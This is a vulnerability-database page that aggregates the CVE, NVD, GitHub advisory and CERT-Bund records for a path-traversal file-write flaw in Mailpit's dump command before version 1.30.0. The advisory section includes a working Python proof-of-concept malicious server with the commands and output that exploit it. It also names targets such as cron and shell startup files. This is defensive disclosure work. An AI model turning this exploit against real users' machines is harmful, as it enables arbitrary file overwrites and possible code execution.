Vulnerability-Lookup

CVE-2026-45711 (GCVE-0-2026-45711)

Vulnerability from cvelistv5 – Published: 2026-07-20 14:39 – Updated: 2026-07-21 15:42

Title

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Summary

Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-21 15:38 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-829 - Inclusion of Functionality from Untrusted Control Sphere

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/axllent/mailpit/security/advis…	x_refsource_CONFIRM
https://github.com/axllent/mailpit/releases/tag/v1.30.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
axllent	mailpit	Affected: < 1.30.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45711",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-21T15:38:53.037071Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-21T15:42:56.143Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mailpit",
          "vendor": "axllent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.30.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http \u003cbase-url\u003e \u003cout-dir\u003e sub-command downloads every message from a remote Mailpit instance and writes each one as \u003cid\u003e.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-829",
              "description": "CWE-829: Inclusion of Functionality from Untrusted Control Sphere",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-20T14:39:06.690Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
        },
        {
          "name": "https://github.com/axllent/mailpit/releases/tag/v1.30.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
        }
      ],
      "source": {
        "advisory": "GHSA-qx5x-85p8-vg4j",
        "discovery": "UNKNOWN"
      },
      "title": "Mailpit: Path traversal \u0026 arbitrary file write in mailpit dump --http via attacker-controlled message IDs"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45711",
    "datePublished": "2026-07-20T14:39:06.690Z",
    "dateReserved": "2026-05-13T05:51:48.665Z",
    "dateUpdated": "2026-07-21T15:42:56.143Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-45711",
      "date": "2026-09-17",
      "epss": "0.00311",
      "percentile": "0.24058"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-45711\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-20T16:17:00.333\",\"lastModified\":\"2026-07-28T15:30:44.933\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http \u003cbase-url\u003e \u003cout-dir\u003e sub-command downloads every message from a remote Mailpit instance and writes each one as \u003cid\u003e.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"axllent\",\"product\":\"mailpit\",\"versions\":[{\"version\":\"\u003c 1.30.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L\",\"baseScore\":5.9,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":1.6,\"impactScore\":4.2},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":3.9,\"impactScore\":4.2}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-21T15:38:53.037071Z\",\"id\":\"CVE-2026-45711\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-829\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"1.30.0\",\"matchCriteriaId\":\"3ECED29B-387E-4170-B0E7-1818C63ADB60\"}]}]}],\"references\":[{\"url\":\"https://github.com/axllent/mailpit/releases/tag/v1.30.0\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-45711\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-21T15:38:53.037071Z\"}}}], \"references\": [{\"url\": \"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-21T15:42:20.442Z\"}}], \"cna\": {\"title\": \"Mailpit: Path traversal \u0026 arbitrary file write in mailpit dump --http via attacker-controlled message IDs\", \"source\": {\"advisory\": \"GHSA-qx5x-85p8-vg4j\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.9, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"axllent\", \"product\": \"mailpit\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.30.0\"}]}], \"references\": [{\"url\": \"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j\", \"name\": \"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/axllent/mailpit/releases/tag/v1.30.0\", \"name\": \"https://github.com/axllent/mailpit/releases/tag/v1.30.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http \u003cbase-url\u003e \u003cout-dir\u003e sub-command downloads every message from a remote Mailpit instance and writes each one as \u003cid\u003e.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-829\", \"description\": \"CWE-829: Inclusion of Functionality from Untrusted Control Sphere\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-20T14:39:06.690Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-45711\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-21T15:42:56.143Z\", \"dateReserved\": \"2026-05-13T05:51:48.665Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-20T14:39:06.690Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-45711

Vulnerability from fkie_nvd - Published: 2026-07-20 16:17 - Updated: 2026-07-28 15:30

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/axllent/mailpit/releases/tag/v1.30.0	Release Notes
security-advisories@github.com	https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	axllent	mailpit	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mailpit",
          "vendor": "axllent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.30.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3ECED29B-387E-4170-B0E7-1818C63ADB60",
              "versionEndExcluding": "1.30.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http \u003cbase-url\u003e \u003cout-dir\u003e sub-command downloads every message from a remote Mailpit instance and writes each one as \u003cid\u003e.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch."
    }
  ],
  "id": "CVE-2026-45711",
  "lastModified": "2026-07-28T15:30:44.933",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45711",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-21T15:38:53.037071Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T16:17:00.333",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-829"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-QX5X-85P8-VG4J

Vulnerability from github – Published: 2026-05-19 15:53 – Updated: 2026-09-02 23:39

Summary

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Details

Summary

The mailpit dump --http sub-command downloads every message from a remote Mailpit instance and writes each one as .eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.

Details

Anyone who can convince a user to run mailpit dump --http (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.

Affected code

internal/dump/dump.go:

path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message//raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.

The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.

PoC

Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:

# evil-mailpit.py
import http.server, json

class Evil(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if "/api/v1/messages" in self.path:
            resp = {
                "total": 1, "unread": 0, "count": 1,
                "messages_count": 1, "messages_unread": 0,
                "start": 0, "tags": [],
                "messages": [{
                    "ID": "../../../../tmp/mailpit-pwn",          # ← traversal
                    "MessageID": "x", "Read": False,
                    "From": {"Name": "", "Address": "a@b"},
                    "To":   [{"Name": "", "Address": "c@d"}],
                    "Cc": None, "Bcc": None, "ReplyTo": [],
                    "Subject": "evil",
                    "Created": "2026-01-01T00:00:00Z",
                    "Tags": [], "Size": 5,
                    "Attachments": 0, "Snippet": ""
                }]
            }
            body = json.dumps(resp).encode()
            ctype = "application/json"
        elif "/raw" in self.path:
            body  = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
            ctype = "text/plain"
        else:
            self.send_response(404); self.end_headers(); return

        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()

$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out

Observe the file was written outside the requested output directory:

$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/                                        ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL

The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.

Impact

Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:53:09Z",
    "nvd_published_at": "2026-07-20T16:17:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe mailpit dump --http \u003cbase-url\u003e \u003cout-dir\u003e sub-command downloads every message from a remote Mailpit instance and writes each one as \u003cid\u003e.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.\n\n### Details\nAnyone who can convince a user to run mailpit dump --http \u003cattacker-url\u003e \u003cdir\u003e (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. \u2014 anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.\n\n### Affected code\n[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):\n\npath.Join(\"/safe/out/dir\", \"../../../../etc/cron.d/payload.eml\") resolves to /etc/cron.d/payload.eml \u2014 the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/\u003cid\u003e/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.\n\nThe underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated \u2014 the operator only supplies a URL.\n\n### PoC\n\n1. Run a malicious \"Mailpit\" server that returns one message whose ID contains .. segments:\n\n```python\n# evil-mailpit.py\nimport http.server, json\n\nclass Evil(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        if \"/api/v1/messages\" in self.path:\n            resp = {\n                \"total\": 1, \"unread\": 0, \"count\": 1,\n                \"messages_count\": 1, \"messages_unread\": 0,\n                \"start\": 0, \"tags\": [],\n                \"messages\": [{\n                    \"ID\": \"../../../../tmp/mailpit-pwn\",          # \u2190 traversal\n                    \"MessageID\": \"x\", \"Read\": False,\n                    \"From\": {\"Name\": \"\", \"Address\": \"a@b\"},\n                    \"To\":   [{\"Name\": \"\", \"Address\": \"c@d\"}],\n                    \"Cc\": None, \"Bcc\": None, \"ReplyTo\": [],\n                    \"Subject\": \"evil\",\n                    \"Created\": \"2026-01-01T00:00:00Z\",\n                    \"Tags\": [], \"Size\": 5,\n                    \"Attachments\": 0, \"Snippet\": \"\"\n                }]\n            }\n            body = json.dumps(resp).encode()\n            ctype = \"application/json\"\n        elif \"/raw\" in self.path:\n            body  = b\"PWNED BY MAILPIT DUMP TRAVERSAL\\n\"\n            ctype = \"text/plain\"\n        else:\n            self.send_response(404); self.end_headers(); return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", ctype)\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\nhttp.server.HTTPServer((\"127.0.0.1\", 19090), Evil).serve_forever()\n```\n\n```\n$ python3 evil-mailpit.py \u0026\n$ mkdir -p /tmp/dump-out\n$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out\n```\n\n2. Observe the file was written outside the requested output directory:\n\n```\n$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml\n/tmp/dump-out/                                        \u2190 empty\ntotal 0\n-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml\n$ cat /tmp/mailpit-pwn.eml\nPWNED BY MAILPIT DUMP TRAVERSAL\n```\n\nThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.\n\n### Impact\nArbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.",
  "id": "GHSA-qx5x-85p8-vg4j",
  "modified": "2026-09-02T23:39:39Z",
  "published": "2026-05-19T15:53:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45711"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Path traversal \u0026 arbitrary file write in mailpit dump --http via attacker-controlled message IDs"
}

WID-SEC-W-2026-1558

Vulnerability from csaf_certbund - Published: 2026-05-17 22:00 - Updated: 2026-05-17 22:00

Summary

MailPit: Mehrere Schwachstellen

Severity

Mittel

Scope

4 vulnerabilities in this advisory, including CVE-2026-45711.

CVE-2026-45711

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-45711 (GCVE-0-2026-45711)

FKIE_CVE-2026-45711

GHSA-QX5X-85P8-VG4J

Summary

Details

Affected code

PoC

Impact

WID-SEC-W-2026-1558

Tags

Sightings

Nomenclature

Related by attack behaviour